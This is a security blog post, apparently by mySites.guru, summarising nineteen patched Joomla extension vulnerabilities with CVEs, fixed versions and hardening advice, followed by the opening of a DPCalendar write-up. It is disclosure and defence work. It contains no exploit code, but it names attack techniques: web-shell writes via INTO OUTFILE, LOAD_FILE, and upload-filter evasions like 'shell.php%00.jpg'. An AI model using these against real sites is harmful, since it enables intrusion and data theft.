Nineteen and Counting: Joomla Extension Vulnerabilities We Found and Disclosed in a Month

phil@mysites.guru (Phil Taylor) — Mon, 13 Jul 2026 00:00:00 GMT

Between mid-June and late July 2026, mySites.guru found and responsibly disclosed nineteen separate security vulnerabilities across seventeen popular Joomla extensions. Most were critical. Five rated the maximum CVSS 4.0 score of 10.0. Several were being exploited in the wild within hours of the fix going public. Every one was reported privately to the vendor first, and all nineteen now have a vendor fix out.

19 and counting

Updated 23 July 2026

When we published this, the number was twelve. It has not stopped climbing since. The now-public Events Booking finding, plus DJ-Classifieds, jDownloads and the Gridbox authentication bypass took it to sixteen, and the three EasyStore flaws took it to nineteen. The "and counting" was never a figure of speech.

Found, reported and fixed by mySites.guru

Every one of these was found, researched, privately disclosed, coordinated to a fixed release and written up by us, here at mySites.guru. This is what improving the Joomla ecosystem looks like from the inside: one report at a time. In the short term it is a headache for some Joomla admins, no question, but the whole ecosystem is in better shape for it. The people who run their sites through mySites.guru got the heads-up first wherever a coordinated timeline allowed, plus the exhaustive toolset to find and fix every affected site fast.

This is the roundup: what each flaw was, the version that fixes it, and the pattern connecting almost all of them. If you run Joomla, treat the table below as your update list.

A quick apology before you dive in: this post got waaay too long. We will be slicing it into shorter, single-point pieces in future posts, but we have a lot of information coming out soon and wanted to get it all down in one place first.

Why we went looking

This whole run started with an argument. A friend (Yes I have friends, despite what people think haha), in the aftermath of the JCE hack, put it to me that Joomla extensions were simply more secure than WordPress plugins. I told him that was the wrong conclusion. The gap is not security, it is attention.

The WordPress ecosystem pays people to find plugin bugs. There are bounty programs, Wordfence and others compensate researchers for reports, and there is even a black market that will buy a working plugin exploit. That money pulls a large, constant crowd of skilled eyes onto WordPress plugins. Joomla has almost none of that. The extensions are not audited less because they are safer, they are audited less because there is no reward for doing it. The bugs sit there undiscovered, which reads as "secure" right up until someone bothers to look.

So I bothered to look.

Reading the actual source of the extensions our customers run, I was finding one to two critical or high-severity unauthenticated remote code execution flaws every single day, for over a week. Not obscure edge cases. Anonymous, upload-a-PHP-file-and-run-it flaws, in some of the most widely deployed extensions in the ecosystem.

The vulnerabilities were always there. The difference this month is that somebody was finally looking.

TL;DR

It started as an argument: a friend claimed Joomla extensions were more secure than WordPress plugins. They are not, nobody looks because there is no bounty money in Joomla. So we looked
Looking turned up one to two critical or high unauthenticated RCE flaws every day for over a week
In about five weeks, mySites.guru found and responsibly disclosed nineteen Joomla extension vulnerabilities
Nine were file upload flaws leading to remote code execution or arbitrary file write, five were unauthenticated SQL injection, one an unauthenticated authentication bypass to Super User, one an unauthenticated write to stored XSS, one an unauthenticated file write and delete, one an unauthenticated order and payment forgery, and one a cross-customer order and invoice data leak
Five scored CVSS 10.0: PageBuilder CK, SP Page Builder, Balbooa Forms, RSFiles! and Gridbox
All nineteen are now patched - get onto the fixed versions in the table now
Almost all shared one root cause: a public front-end endpoint that trusted anonymous input
mySites.guru flags every connected Joomla site still on a vulnerable version, automatically

Every vulnerability in this post was reported privately to its vendor first. We publish full detail after the patch, not before: all nineteen are now fixed, so you get the whole story, and while any was still in disclosure we described the risk but withheld the name and the exploit until its fix shipped. The point is to get sites updated, never to hand attackers a recipe.

The vulnerabilities we found in a single month

Extension	Flaw	CVE	CVSS	Our write-up
RSFiles!	Unauthenticated upload to RCE	CVE-2026-57827	10.0	Read
Balbooa Forms	Unauthenticated upload to RCE	CVE-2026-56291	10.0	Read
PageBuilder CK	Unauthenticated upload to RCE	CVE-2026-56290	10.0	Read
SP Page Builder	Unauthenticated upload to RCE	CVE-2026-48908	10.0	Read
Gridbox	Unauthenticated authentication bypass to Super User	CVE-2026-61425	10.0	Read
iCagenda	Unauthenticated upload to RCE	CVE-2026-48939	9.8	Read
EasyStore	Unauthenticated SQL injection	CVE-2026-65761	9.3	Read
EasyStore	Cross-customer order and invoice disclosure	CVE-2026-65760	9.2	Read
Phoca Download	Authenticated upload to RCE	CVE-2026-57828	9.0	Read
DJ-Classifieds	Unauthenticated file upload	CVE-2026-61424	8.8	Read
jDownloads	Unauthenticated file upload	CVE-2026-61900	8.8	Read
AcyMailing	Unauthenticated SQL injection	CVE-2026-56292	8.7	Read
DPCalendar	Unauthenticated SQL injection	CVE-2026-57831	8.7	Read
EDocman	Unauthenticated SQL injection	CVE-2026-57832	8.7	Read
Quix Page Builder	Unauthenticated SQL injection	CVE-2026-58078	8.7	Read
EasyStore	Unauthenticated order and payment forgery	CVE-2026-65759	8.7	Read
Helix3	Unauthenticated file write and delete	CVE-2026-49049	7.5	Read
Helix Ultimate	Unauthenticated menu write to stored XSS	none assigned	High	Read
Events Booking	Unauthenticated upload and user enumeration	CVE-2026-60024	6.9	Read

Every row is now patched and named. The events and booking component that sat redacted here while its disclosure ran is public at last: it is Events Booking, fixed across 5.8.0 and 5.8.1. The three newest additions, all fixed the same week, are DJ-Classifieds (CVE-2026-61424), Gridbox (CVE-2026-61425) and jDownloads (CVE-2026-61900), which is what moved the count from thirteen to sixteen while this post was live, and the three EasyStore flaws (order forgery, SQL injection and a cross-customer invoice leak, CVE-2026-65759 to CVE-2026-65761) took it to nineteen. We found all of them ourselves bar jDownloads, which a mySites.guru subscriber brought to us and we confirmed, reproduced and coordinated to a fix.

None of these is a minor bug

Most of the flaws in that table scored between 8.7 and the maximum 10.0, and not one dropped below 6.9. These are not low-severity housekeeping issues, they are the most dangerous classes of web vulnerability there are: unauthenticated remote code execution, where an anonymous visitor runs their own code on your server, and unauthenticated full-database read, where an anonymous visitor walks off with every user account and password hash. It genuinely does not get much worse than this.

CISA put four of these on its must-patch-now list

When we say critical, we mean it, and now the U.S. government agrees.

The official seal of the U.S. Cybersecurity and Infrastructure Security Agency

In a single week, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) added four of the vulnerabilities in this roundup to its Known Exploited Vulnerabilities catalog, the authoritative list of bugs CISA has confirmed are being exploited in the wild right now. A CVSS score is a severity opinion. A place on the KEV catalog is evidence: it means the attacks were observed happening, not theorised, and under Binding Operational Directive 26-04 every U.S. federal agency was legally ordered to patch each one within three days of it being listed.

CISA Known Exploited Vulnerabilities catalog

Two CISA alerts, five vulnerabilities between them. Four were ours.

Confirmed exploited in the wild. A three-day federal deadline to patch every one.

CVE	Extension	Added to CISA KEV	Federal patch deadline
CVE-2026-56290	PageBuilder CK	7 July 2026	10 July 2026
CVE-2026-48908	SP Page Builder	7 July 2026	10 July 2026
CVE-2026-48939	iCagenda	10 July 2026	13 July 2026
CVE-2026-56291	Balbooa Forms	10 July 2026	13 July 2026

They came in two public alerts, both now permanent record. The "CISA Adds Three Known Exploited Vulnerabilities to Catalog" alert on 7 July was two of our Joomla findings plus one unrelated flaw. The "CISA Adds Two Known Exploited Vulnerabilities to Catalog" alert on 10 July was both ours.

Here is the honest detail, and it sharpens the point rather than blunting it. CISA's catalog lists the CVE, the vendor and the product. It does not print the name of the person who found the bug, so you will not see "mySites.guru" on a government web page. Our name is on the CVE records instead, which is exactly where the credit for finding and reporting each one belongs. Read the two together and the sequence is not in doubt: we found these, we reported them privately, the vendors shipped fixes, and then a national cyber-defence agency independently confirmed they were already being exploited and made patching them compulsory across the entire U.S. federal government.

That is about as strong an outside verdict on security research as it gets. Not our marketing, not a CVSS calculator we ran ourselves, but CISA reaching the same conclusion we did and backing it with the force of law. When this post calls these bugs critical, that is what critical means in practice.

These are not fringe Joomla extensions

It would be comforting to write this off as a run of obscure, one-developer hobby extensions that nobody serious installs. It is the opposite. These are some of the most established, most trusted and most widely deployed names in the whole Joomla ecosystem: page builders and template frameworks that sit under a huge number of live sites, a newsletter platform that ships for WordPress too, mature form, calendar and document components that agencies roll out as standard furniture. Between them they run on an enormous number of production sites. The vendors are long-standing, respected members of the Joomla community, most with a genuinely good security track record.

That is the part worth sitting with. If extensions of this calibre, from teams who take security seriously, all carried a critical bug on the same public surface inside a single month, then "we only install popular, well-reviewed extensions" is not the safety net people treat it as. Popularity and a good reputation tell you the code is maintained and the developer answers a disclosure email quickly. They do not tell you the code is free of the one endpoint that trusts the wrong input. We are not talking about small players here, and that is exactly why it matters.

We went after the biggest names on purpose

There is an easy version of this exercise and a hard version, and we deliberately chose the hard one.

The easy version is to trawl the long tail: the abandoned, single-download, one-afternoon extensions that nobody has touched in years. That corner of any ecosystem, Joomla or WordPress, is riddled with holes. Finding a critical bug there proves nothing, because nobody serious runs that software and breaking it helps no one. It is easy, and it is pointless.

We did the opposite. We pointed the research squarely at the extensions that matter to the people we protect: the ones at the top of the installed list across mySites.guru users' sites. The page builders, template frameworks, and the form, calendar, document and newsletter components that professional agencies deploy as standard, built and backed by some of the most respected, longest-established developers in the Joomla community. These are the names you would choose precisely because they are popular, maintained and trusted.

These extensions do not just run on reputable client sites. Several of the ones in this roundup are installed on the official *.joomla.org websites themselves. The Joomla Project runs this code on its own infrastructure, on the properties that represent Joomla to the world. There is no stronger vote of confidence, no clearer "trusted, vetted, safe to install" signal, than being chosen by the people who make Joomla, for Joomla's own sites. And it was still vulnerable.

We did not have to go digging in the gutter to fill a list. Every vulnerability in this post is in software a careful, security-conscious site owner would happily install, from a developer with a real reputation to protect. The critical bugs were in the flagship extensions, on the most reputable sites, the whole time.

Is Joomla insecure by default?

No, and it is worth stating plainly, because a post like this can leave the wrong impression. Not one of these vulnerabilities is in Joomla itself. Every single one is in a third-party extension: a component, plugin, module or template framework that someone chose to install on top of Joomla. Joomla core is not the weak point here, and nothing in this roundup says otherwise.

Joomla the platform has one of the stronger security stories in the CMS world: a dedicated Security Strike Team, its own CVE Numbering Authority (the Joomla CNA) that coordinates disclosures exactly like these, a signed and hardened core update channel, and a long record of shipping fixes quickly. A default Joomla install, kept up to date, is a solid, well-defended piece of software.

The risk lives where it lives on every CMS: in the third-party ecosystem bolted on around the core. WordPress lives or dies by its plugins, and Joomla by its extensions. That is where code quality varies most, where independent review is thinnest, and where an attacker goes looking first. It is precisely why "keep Joomla updated" is only half the job. The other half is keeping every extension updated too, and knowing which ones are exposed at any given moment.

So the headline is not "Joomla is insecure". It is that the extensions you add to Joomla are code too, and they deserve the same discipline you already apply to the core.

One last piece of perspective, because nineteen findings in five weeks can read as alarming when you see them stacked in one table. Nineteen findings in a month is a handful. Now look at what the WordPress ecosystem logs over the same kind of window: Wordfence's vulnerability feed regularly carries fifty or more new plugin vulnerabilities in a single day. A day, not a month. Here is that feed on the afternoon we published this post, showing fourteen WordPress plugin vulnerabilities dated 15 July alone, with more stacked up on the 14th and the 13th behind them:

Read that gap honestly, though, because it points in both directions at once. Part of it is scale: WordPress runs on far more sites, with far more plugins, so there is simply more code to find bugs in. The larger part is the thing this entire post has been about. A whole paid industry hunts WordPress plugin bugs every single day, so WordPress's number is high because hundreds of skilled people are looking. Joomla's number is low because, most months, almost nobody is. Our nineteen is not the total that exists out there. It is what one team turned up in about five weeks of actually looking, and it is still climbing, not because we ran out but because we cannot look at everything at once.

So if this roundup left you uneasy about Joomla, weigh it against an ordinary Tuesday in WordPress before drawing a conclusion about either. The lesson is identical on both platforms and has nothing to do with which CMS you chose: the third-party code you bolt on is where the risk lives, and keeping it current is the whole job.

The critical file-upload RCEs in Joomla extensions

Six of the nineteen were the same shape of bug in its cleanest form: a front-end upload endpoint that accepted a file from an anonymous visitor without properly checking who sent it or what it was, letting an attacker drop a PHP file into a web-served folder and execute it.

PageBuilder CK (CVE-2026-56290, CVSS 10.0). A front-end task gated only by a CSRF token, with no authentication or authorisation, accepted an upload and let the attacker choose the destination folder. Fixed in 3.6.0, with back-patches for the Joomla 3 and 4 branches. Exploited in the wild within a day.
Balbooa Forms (CVE-2026-56291, CVSS 10.0). The form attachment upload took a file from anyone, with no login, no CSRF token and no type check, and trusted the supplied filename. A zero-day, confirmed exploited in the wild. Fixed in 2.4.1.
RSFiles! (CVE-2026-57827, CVSS 10.0). The front-end upload task was reachable with no login and no token, and the write path did no file-type check, so anyone could drop a PHP file into the public downloads folder and run it. Fixed in 1.17.12.
SP Page Builder (CVE-2026-48908, CVSS 10.0). An unauthenticated icon-upload endpoint gave remote code execution, and was being used to plant hidden Super User accounts. Fixed in 6.6.2.
iCagenda (CVE-2026-48939, CVSS 9.8). The public "Submit an Event" form accepted uploads with no server-side type check, plus an access-control bypass that let guests create events. A zero-day, exploited in the wild. Fixed in 4.0.8 (and 3.9.15 for the legacy branch).
Phoca Download (CVE-2026-57828, CVSS 9.0). This one needs a logged-in member and the non-default user-upload feature, so it is authenticated rather than anonymous, but the member-upload path skipped the file-type allow-list and let a member upload and run a PHP file. Fixed in 6.1.3.

Three more were the same class of unauthenticated upload but stopped short of clean code execution on a default server, so they score High rather than 10.0: DJ-Classifieds (CVE-2026-61424, CVSS 8.8) and jDownloads (CVE-2026-61900, CVSS 8.8) both let an anonymous visitor write an arbitrary file into a web-served folder, tipping into remote code execution only on a misconfigured host, and Events Booking (CVE-2026-60024) shipped with an anonymous upload on by default alongside a user-enumeration flaw. All three are fixed.

The Joomla Extension SQL injections

Five of the nineteen were SQL injection rather than file upload: not code execution, but a read. A public front-end endpoint placed request input into a database query with no sanitising, so an anonymous visitor could read any table in the database, including user accounts and password hashes. Four of the five score 8.7, lower than the upload flaws' 10.0 only because they read data rather than executing code; the fifth, in EasyStore, is the same read-through-the-query pattern but the Joomla CNA scored it 9.3 Critical. Every one is the same public-endpoint-meets-unchecked-input pattern.

AcyMailing (CVE-2026-56292, CVSS 8.7). A public front-end endpoint placed request input into a query unsanitised. It affects the WordPress plugin as well as the Joomla extension, because both are built from the same code. Fixed in 10.11.1 on both platforms.
EDocman (CVE-2026-57832, CVSS 8.7). The document and download manager for Joomla by JoomDonation placed a request parameter into a front-end query unsanitised, the same class of unauthenticated SQL injection with the same anonymous full-database-read outcome. We proved it live, reading back the site's Super User account and confirming it connected to MySQL as the superuser, so on that box the read reached every database on the server, not just the one site. Fixed in EDocman 3.9.0, under a terse changelog that badly understates the severity. Read the full write-up.
DPCalendar (CVE-2026-57831, CVSS 8.7). The calendar and events component for Joomla by Digital Peak carried the same class of unauthenticated SQL injection in its public front-end events feed, with the same anonymous full-database-read outcome. It is now fixed in DPCalendar 10.11.2 (Joomla 4.4.4 to 6.x) and 8.19.4 (Joomla 3), which Digital Peak shipped within 24 hours, over a holiday break, crediting us in their own advisory. Read the full write-up.
EasyStore (CVE-2026-65761, CVSS 9.3). JoomShaper's ecommerce component passed the product-list sort direction into the query's ORDER BY with no allow-list, so an anonymous visitor could read any table through the sort parameter. It was one of three flaws we found in EasyStore, alongside an unauthenticated order forgery and a cross-customer invoice leak, and JoomShaper fixed all three in 2.0.2 with no security advisory. Read the full write-up.

Unauthenticated SQL injection often means complete database compromise

It is tempting to file a "read-only" SQL injection under low priority. Do not. Unauthenticated SQL injection is one of the most damaging classes of web vulnerability there is, and "read-only" badly undersells what an attacker walks away with.

Start with what a single anonymous request can read. Joomla's #__users table holds every account, Super Users included, with their bcrypt password hashes. Those hashes crack offline at the attacker's leisure, and any weak one that falls hands over a real admin login with no further exploit needed. The #__session table can expose live sessions. Extension parameters in #__extensions routinely hold API keys and integration credentials. Every article, every custom field, every piece of data the application keeps in the database is readable. One injection, and the confidentiality of the whole application is gone.

The reach often does not stop at one site, either. On a great deal of shared and reseller hosting the database account the site connects with is over-privileged, sometimes able to see every schema on the MySQL server. Where that is true, a single injection in one Joomla site can read every other database on the box, other customers' sites included, and in the worst setups the server's own mysql.user table. The blast radius is not "this site's data", it is "everything this database login can see".

"Blind" shrinks none of this, it only slows it down. A blind injection returns no data in the page, so tooling asks the database one true-or-false question at a time and rebuilds the answer bit by bit. That is a throughput detail for the attacker, not a safety margin for you: automated tools walk a full table out in seconds to minutes, and the end state is identical to a noisy injection.

And a read is frequently just the opening move. Depending on the database privileges and the exact injection point, the same flaw can escalate to writing rows (planting a Super User, flipping a user into an admin group, injecting a stored-XSS payload into content), or, where the database login holds the FILE privilege, reading server files with LOAD_FILE and writing a web shell with INTO OUTFILE, turning a "read" into remote code execution. Even when it stays a pure read, "the attacker now has every credential and secret the site stores" is a full compromise in every way that counts.

That is why we treat the five SQL injections in this roundup as high-severity emergencies rather than paperwork, and why the answer is never "add a firewall rule and move on". A WAF can blunt the delivery. Only the patch closes the hole.

The Helix template framework issues

Two of the findings were in JoomShaper's template frameworks, which sit on an enormous number of Joomla sites.

Helix3 (CVE-2026-49049) had an unauthenticated file write, arbitrary file delete and template-parameter overwrite reachable through com_ajax before any token or permission check. The template-parameter angle matters: it is being used to inject a defacement and wallet-drainer payload straight into the database, where file scanners never look. Fixed in 3.1.1, and it shipped under a two-word "Security Update" changelog that badly understated it.
Helix Ultimate had several com_ajax actions running with no CSRF or permission check, enabling an unauthenticated menu-settings write that leads to stored cross-site scripting, plus an in-folder file delete, an open redirect and an unprotected template export. Fixed in 2.2.7. No CVE has been assigned.

Why these Joomla vulnerabilities nearly all look the same

Read the list again and the same phrase keeps appearing: a public front-end endpoint. That is not a coincidence, it is the whole story.

Extensions have to expose endpoints that anonymous visitors reach without logging in. A contact or booking form has to accept a submission. A calendar has to serve its events. A file manager has to hand out downloads. A page builder has to load and save layout fragments over AJAX. None of that can sit behind a login, because the public is the intended audience. Joomla's com_ajax gateway and front-end component tasks exist precisely to expose this surface.

Every one of those public endpoints is attack surface. The bug is almost never the endpoint existing. It is the endpoint trusting what arrives: taking a filename the visitor supplied and writing it to disk, taking a request parameter and dropping it into a database query, reaching a file-write or delete without first checking a token and a permission. An upload handler with no type allow-list turns "submit an event" into "run my code". A query built by string concatenation turns "search the newsletter" into "read the password table". This is the public-endpoint-meets-unchecked-input pattern, and it is behind all but a couple of these nineteen findings. Once you have seen it a few times, you know exactly where to look in the next extension.

None of this is new: authentication, authorisation and Joomla security 101

It is worth being blunt about how ordinary these bugs are. Nothing in this roundup is novel. There is no exotic new attack class, no clever chain nobody had thought of, no zero-day technique. Every single one comes down to one of the oldest lessons in web application security, and they split cleanly into the three questions every request should have to answer:

Joomla security 101

Three questions every request must answer

AuthN / AuthZ / Input

01

Authentication Skipped

Who is making this request?

A com_ajax action that fires before any token or login check has skipped this entirely.
02

Authorisation Skipped

Are they allowed to do it?

A front-end task that reaches a file write, a delete or an upload without checking a permission has skipped this one.
03

Input validation Skipped

Can this input be trusted?

An upload with no file-type allow-list, or a query built by gluing request text together, has skipped this one.

That is it. That is the whole of it, nineteen times over. These three ideas are the first week of any secure-development course and the top of every checklist OWASP has published for twenty years. They are not obscure corners that only bite under exotic conditions, they are the fundamentals, and experienced developers are expected to get them right by default and without thinking about it. This is not written to shame anyone, because it is genuinely the reassuring part: the defences are well understood, cheap and boring. The fix is never the hard part. The failure is almost always the same human one, a single endpoint that, on a busy day, skipped a check that everybody already knows to make.

Five things the Joomla Project could do to protect every site

None of this is Joomla core's fault, as we said. But the platform is uniquely placed to make this entire class of bug far harder for an extension developer to write in the first place. Five changes would make it much harder to ship, and the first two alone would have stopped almost every vulnerability in this post before it shipped.

The project has since moved on the process side of the same problem. In August 2026 the lead of the Joomla Security Strike Team proposed a Manual page setting out twenty rules for extension developers handling a security report, covering CVE assignment, researcher credit and honest changelogs. It does not stop the bugs below being written, but it would have changed how several of these nineteen were communicated.

1. Ship a tiny SQL-injection filter as a core plugin

There is essentially never a legitimate reason for a raw, SQL-looking payload to arrive as a request parameter on a public index.php endpoint. A default-on system plugin that inspects incoming request values and rejects the obvious injection shapes (union selects, stacked queries, comment sequences, information_schema probing) would neutralise the delivery of every SQL injection in this roundup. It does not need to be clever or exhaustive. It could genuinely be ten lines. Call it a mini-WAF.

Aside, because we enjoyed this rather too much: "Miniwaf" is also a popular crunchy rolled-wafer snack made by the Hai Ha Confectionery Company in Vietnam. Ours has fewer calories and blocks considerably more attacks.

There is precedent for exactly this, too. In 2019 the Joomla Project adopted the TYPO3 phar stream wrapper across the entire CMS, a single central guard that shut down phar:// object-injection attacks so no individual extension had to defend against them alone. It was only deprecated in 5.3 and removed in 6.0 once PHP 8 fixed the underlying issue and made it redundant. A default-on request filter is the very same move: one small piece of core code that protects every extension at once.

2. Make that same mini-WAF refuse front-end file uploads by default

The other half of this roundup is anonymous file upload. A core plugin that simply blocks multipart file uploads to public front-end endpoints unless the receiving component has explicitly opted in would have stopped the upload RCEs cold. Most of the vulnerable endpoints never intended to accept a file from an anonymous visitor at all. A default-deny posture, opt-in per component, turns "the developer forgot to check" into "safe unless someone deliberately allowed it".

Those two small features, a request filter and an upload gate, would between them have blocked almost every vulnerability in this post, the SQL injections and the file uploads alike.

3. Provide one hardened, official file-upload API

Today every extension author rolls their own upload handling, and every roll is a fresh chance to get it wrong. Joomla should offer a single, battle-tested, unit-tested upload service that developers call instead of writing their own, with the safe behaviour baked in and not optional:

A strict, non-bypassable extension allow-list (permit jpg, png, pdf; never a deny-list that forgets phtml, phar, php7)
Real content inspection, verifying the file's actual magic bytes and MIME, not its name or the client-supplied Content-Type
Polyglot detection, rejecting files that are valid as two formats at once (the classic image or PDF header that is also runnable PHP), which sail straight past a naive magic-byte check
Double-extension and null-byte handling (shell.php.jpg, shell.php%00.jpg)
Filename normalisation, generating a random server-side name rather than trusting the uploaded one
Writing to a location that is not web-served, or is hardened against execution, by default
Enforced size and count limits, plus per-user rate limiting
Clear, prominent documentation, so the safe path is the obvious path a developer reaches for

None of this is exotic. It is the boring, known-good checklist that every one of these extensions had to implement by hand, and that at least six of them got wrong in a single month. Build it once, test it to death, and the whole ecosystem gets safer by default.

4. Stop pretending a complicated .htaccess is security

Joomla ships a long, intimidating .htaccess.txt full of rewrite and blocking rules, and a cottage industry of "hardening" guides tells site owners to pile on more. It looks reassuring. It is mostly theatre. Every vulnerability in this roundup arrived through an approved, normal request to index.php, the one path every .htaccess is built to allow, so those rules never got a look in. A file complex enough that almost nobody who copies it understands it, and that does not stop the attacks that actually happen, is not security. It is the feeling of security, plus a support burden. The platform should stop leaning on it as a headline defence and put the protection where the requests actually arrive: in the code, in a request filter, in a safe upload API. Damage-control rules in an upload directory are worth having, but they are the seatbelt, not the brakes, and they should be presented that way.

5. Give AJAX endpoints one simple, standard way to handle auth and authz

Almost every extension that exposes a com_ajax handler or a front-end task writes its own authentication and authorisation from scratch: checking the CSRF token here, remembering to call authorise() there, deciding for itself whether a guest should be let through. Most of the bugs in this post are that exact decision going wrong, or being skipped, on a single endpoint. When every developer hand-rolls the same gate, sooner or later one of them leaves the latch off.

Joomla should give AJAX and front-end endpoints one declarative way to say "this action needs a valid token" and "this action needs this permission", enforced by the framework before the handler ever runs. Better still, make the safe state the default: an endpoint that declares nothing gets a token check and a login requirement automatically, and a developer has to consciously, visibly opt a task out to expose it to the public. Getting authentication and authorisation right should be one line of declaration, not a discipline every extension author has to remember to apply perfectly, every single time.

We are not the Joomla Project - actually we are physically banned from contributing to the Joomla project, like other major players in the Joomla ecosystem (but yet they love to protect their toxic inner circle - go figure) and we do not get to set its roadmap. But we read a great deal of extension code, and from where we sit these five changes would remove most of the ground this month's vulnerabilities grew in.

Why .htaccess is damage control, not a Joomla security fix

A common reaction to a run of upload vulnerabilities is "I have got an .htaccess, I am fine". You are not, and it is worth being precise about why.

These flaws were reached through approved, normal endpoints. The malicious request looked like a legitimate form submission or AJAX call, so it sailed through routing and rewrite rules. An .htaccess that only blocks odd-looking URLs never sees a problem, because nothing about the request was odd. The application accepted it on purpose.

Where .htaccess genuinely helps is after the file has been written: a rule in your upload directories that refuses to execute PHP downgrades a remote code execution into an arbitrary file write. That is a real reduction in blast radius, but it is not safety. An attacker who can still write files can fill your disk and take the site down, host illegal content under your domain, or leave a payload waiting for the day execution gets re-enabled. And none of it touches the SQL injection class at all: there is no file to block, the attacker reads your database straight out of a normal query.

Your .htaccess will NOT SAVE YOU

A Web Application Firewall (WAF) layer might.

This all deserves its own full treatment, and it is getting one. We have a dedicated post coming soon on exactly why an .htaccess protects far less than most site owners think, which requests ride straight through it, and the hardening (and the WAF layer) that actually earns its place. The short version for today: an .htaccess is a seatbelt. Worth having, capable of turning a catastrophe into a bad day, and no reason whatsoever to skip the actual fix. Update the extension.

More Joomla disclosures are already in the pipeline

This roundup covers what we can talk about, and every one of the nineteen above is now patched and named: the events and booking component that sat redacted here through its disclosure window is public at last as Events Booking. It is not the whole of what we have found. Beyond the nineteen, we are still holding further confirmed vulnerabilities, reported or about to be reported, and not yet patched. We will not name the extensions or vendors until a fix exists, for the obvious reason that naming an unpatched flaw is just publishing an exploit.

And that is only what is already confirmed. We are still researching another 10 potential critical or high-severity issues in well known Joomla extensions. Some will turn out to be nothing. On the last month's strike rate, most will not.

We are also aiming higher than extensions. Together with another security researcher, and with AI assistance, we are working to chain several individually low-severity issues into a single working compromise of Joomla core itself, on the current 6.1.2 release. It is early days, but our honest assessment is that a remote compromise of Joomla 6.1.2 is likely to be provable, and we expect to be able to demonstrate it. If we get there, it follows the exact same path as everything above: reported privately to the Joomla Security Strike Team first, with no public detail until a fix exists.

Each of these will get its own full write-up here the moment its vendor ships a fix, exactly as the ones above did. If you are a mySites.guru subscriber, you do not have to track any of this by hand: the affected sites get flagged automatically as soon as each vulnerability is public and in our database.

AI is shrinking the gap between a Joomla patch and mass exploitation

Here is the uncomfortable half of every disclosure. The moment a fix ships, the fix itself becomes a map. Anyone can diff the patched code against the previous version, see exactly which check was added and therefore which check was missing, and reconstruct the exploit from that difference. This has always been true. What has changed is the speed.

An attacker can now feed a patch diff to an AI model, get a working understanding of the bug in minutes, generate a proof-of-concept, and turn automated scanning loose to find candidate sites running the vulnerable version, all in the time it used to take to read the changelog. Several of the flaws above were exploited in the wild within hours of the fix appearing. The window between "patched" and "hunted at scale" is now measured in hours, not weeks. That is the real reason "I will update at the weekend" is a losing strategy.

It is worth being straight about our own side of that, because the honest version is more reassuring than the marketing version. Every one of these nineteen issues was found by a human first, by reading the actual extension source code and recognising a dangerous pattern, not by pointing a model at a repository and waiting. That human judgement was then backed by tooling we have built and sharpened over the last decade: the connector that inventories every extension and version across a portfolio of sites, the vulnerability matcher, the proof-of-concept harnesses, the local test rigs. AI came in only as a sprinkle at the end, a way to make sure no code path or edge case was missed once the human had already found the door. Human-led, tool-assisted, AI for completeness. The attackers are automating the weaponisation of your patches. The least you can do is not give them a week's head start.

None of which means AI is the villain of the piece. The same tool cuts both ways, and how useful or how dangerous it turns out to be is mostly a statement about the person holding it.

Phil Taylor @myPhilTaylor

Unpopular opinion:

Not every text, paragraph, software solution or tool developed by AI is bad, or AI slop, or insecure, or unusable, or unhelpful.

A bad workman always blames his tools.

View on X

Better found by us than by an attacker

If you run one of these extensions and this post made your stomach drop, hold onto one thing: the bug existed whether or not we found it. The only real question was who would find it first, and what they would do next.

When we find one, a fixed sequence follows. A private report to the vendor. A fix built and shipped. A coordinated release. Only then a public write-up, with the exploit detail held back. The site owner gets a patch before they get the bad news, and nobody is handed a working exploit.

When someone with worse intentions finds the same bug, none of that happens. There is no email to the vendor, no patch, no warning. The first you hear of it is a defaced homepage, a wallet-drainer injected into every page, a mailbox full of spam sent from your server, or a quiet backdoor that sits unnoticed for months.

Same bug, opposite outcome. So yes, a run of disclosures like this is uncomfortable reading, but the uncomfortable version is the good one. The alternative was never "the bug never existed". The alternative is that someone found it and chose not to tell you. Better us.

How mySites.guru finds affected Joomla sites for you

Updating one site is easy. The hard part, when you manage dozens or hundreds of Joomla sites, is knowing which ones run PageBuilder CK, or RSFiles!, or AcyMailing, and which of those are still on a vulnerable version. Nineteen disclosures in a month is nineteen rounds of that question, and checking each admin panel by hand does not scale.

mySites.guru already tracks the installed extensions and versions on every connected site. As each of these vulnerabilities was disclosed, we added its affected range to our extension vulnerability database, so every connected site running a vulnerable version is flagged automatically. You see, in one place, exactly which sites need which update, and you can push the fix from the dashboard rather than logging into each one. You can even enable auto-updates for any Joomla extension so a fix like these is in place before an attacker gets there, and mass-update across every affected site from one screen.

This is what we built the platform for. You should not learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand: we did exactly that when we found every site running a vulnerable copy of JCE, and we repeat it for every disclosure here. The dashboard tells you what is exposed, lets you drop straight into any site's admin with one click to check or fix it, and does it all from one place.

What to do right now

Work down the table above and get every affected extension onto its fixed version. Start with the CVSS 10.0 five: PageBuilder CK, SP Page Builder, Balbooa Forms, RSFiles! and Gridbox
Every finding in this roundup now has a fix out, so there is nothing left to wait on. The whole job is getting each affected extension updated across every site you run, before a scanner reaches the ones you missed
Take a backup before each update, and snapshot everything first if you manage more than a couple of sites
If you manage many sites, let mySites.guru show you which are still exposed rather than checking by hand, and push the updates in bulk
Harden your upload and download directories to refuse PHP execution, as damage control, not as a substitute for updating
If you were on a vulnerable version of an upload flaw for any length of time, assume you may have been hit: find any hacked files and backdoors and follow our guide to fixing a hacked Joomla site
If a SQL-injection-affected extension was ever live on your site, audit your Joomla database security and rotate anything an attacker could have read, starting with user password hashes
Not on it yet? Sign up to mySites.guru, connect your Joomla and WordPress sites, and let the dashboard flag every one running a vulnerable extension for you, then update them in bulk. You can start with a free audit
Subscribe to our announcement list so alerts like these reach you the moment they are public, instead of finding out from the news or, worse, from your logs

Unauthenticated SQL Injection in DPCalendar found by mySites.guru

phil@mysites.guru (Phil Taylor) — Mon, 13 Jul 2026 00:00:00 GMT

DPCalendar is one of the most widely installed calendar and events components for Joomla, chosen for mature, professionally run sites right up to the highest levels of the Joomla world itself. During routine security research on the extensions our customers rely on, mySites.guru discovered an unauthenticated SQL injection vulnerability in DPCalendar, and reported it to the developers before disclosing anything publicly. The fix is now available in Digital Peak's security release: DPCalendar 10.11.2 for Joomla 4.4.4 to 6.x, and 8.19.4 for the Joomla 3 branch.

If you run DPCalendar on any Joomla site, update to 10.11.2 now (or 8.19.4 if you are still on Joomla 3). If you manage more than a handful of sites, read on for how to find every affected one at once.

TL;DR

mySites.guru found an unauthenticated SQL injection in DPCalendar and reported it to the vendor
